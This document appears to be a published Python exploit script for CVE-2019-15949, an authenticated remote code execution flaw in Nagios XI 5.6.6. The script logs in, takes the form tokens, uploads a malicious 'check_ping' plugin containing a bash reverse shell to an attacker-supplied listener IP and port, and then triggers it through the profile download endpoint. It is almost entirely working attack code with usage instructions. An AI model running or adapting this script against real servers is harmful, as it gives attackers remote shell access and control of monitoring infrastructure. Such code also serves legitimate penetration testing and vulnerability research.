# Exploit Title: Nagiosxi authenticated Remote Code Execution
# Date: 17/02/2024
# Exploit Author: Calil Khalil
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Version: Nagios Xi 5.6.6
# Tested on: Ubuntu
# CVE : CVE-2019-15949
#
# python3 exp.py -t https://<target>/ -b /<nagiosxi-path>/ -u user -p 'password' -lh <rev-ip> -lp <rev-port> -k (ignore cert)
#
import argparse
import re
import requests
import urllib3
class Nagiosxi():
def __init__(self, target, parameter, username, password, lhost, lport, ignore_ssl):
self.url = target
self.parameter = parameter
self.username = username
self.password = password
self.lhost = lhost
self.lport = lport
self.ignore_ssl = ignore_ssl
self.login()
def upload(self, session):
print("Uploading Malicious Check Ping Plugin")
upload_url = self.url + self.parameter + "/admin/monitoringplugins.php"
upload_token = session.get(upload_url, verify=not self.ignore_ssl)
nsp = re.findall('var nsp_str = "(.*)";', upload_token.text)
print("Upload NSP Token: " + nsp[0])
payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'"
file_data = {
"upload": "1",
"nsp": nsp[0],
"MAX_FILE_SIZE": "20000000"
}
file_upload = {
"uploadedfile": ("check_ping", payload, "application/octet-stream", {"Content-Disposition": "form-data"})
}
session.post(upload_url, data=file_data, files=file_upload, verify=not self.ignore_ssl)
payload_url = self.url + self.parameter + "/includes/components/profile/profile.php?cmd=download"
session.get(payload_url, verify=not self.ignore_ssl)
def login(self):
session = requests.Session()
login_url = self.url + self.parameter + "/login.php"
token = session.get(login_url, verify=not self.ignore_ssl)
nsp = re.findall('name="nsp" value="(.*)">', token.text)
print("Login NSP Token: " + nsp[0])
post_data = {
"nsp": nsp[0],
"page": "auth",
"debug": "",
"pageopt": "login",
"redirect": "",
"username": self.username,
"password": self.password,
"loginButton": ""
}
login = session.post(login_url, data=post_data, verify=not self.ignore_ssl)
if "Home Dashboard" in login.text:
print("Logged in!")
else:
print("Unable to login!")
self.upload(session)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019–15949 Nagiosxi authenticated Remote Code Execution')
parser.add_argument('-t', metavar='<Target base URL>', help='Example: -t http://nagios.url/', required=True)
parser.add_argument('-b', metavar='<Base Directory>', help="Example: -b /nagiosxi/", required=True)
parser.add_argument('-u', metavar='<Username>', help="Example: -a username", required=True)
parser.add_argument('-p', metavar='<Password>', help="Example: -p 'password'", required=True)
parser.add_argument('-lh', metavar='<Listener IP>', help="Example: -lh 127.0.0.1", required=True)
parser.add_argument('-lp', metavar='<Listener Port>', help="Example: -lp 1337", required=True)
parser.add_argument('-k', action='store_true', help="Ignore SSL certificate verification")
args = parser.parse_args()
urllib3.disable_warnings()
try:
print('CVE-2019-15949 Nagiosxi authenticated Remote Code Execution')
Nagiosxi(args.t, args.b, args.u, args.p, args.lh, args.lp, args.k)
except KeyboardInterrupt:
print("\nBye Bye!")
exit()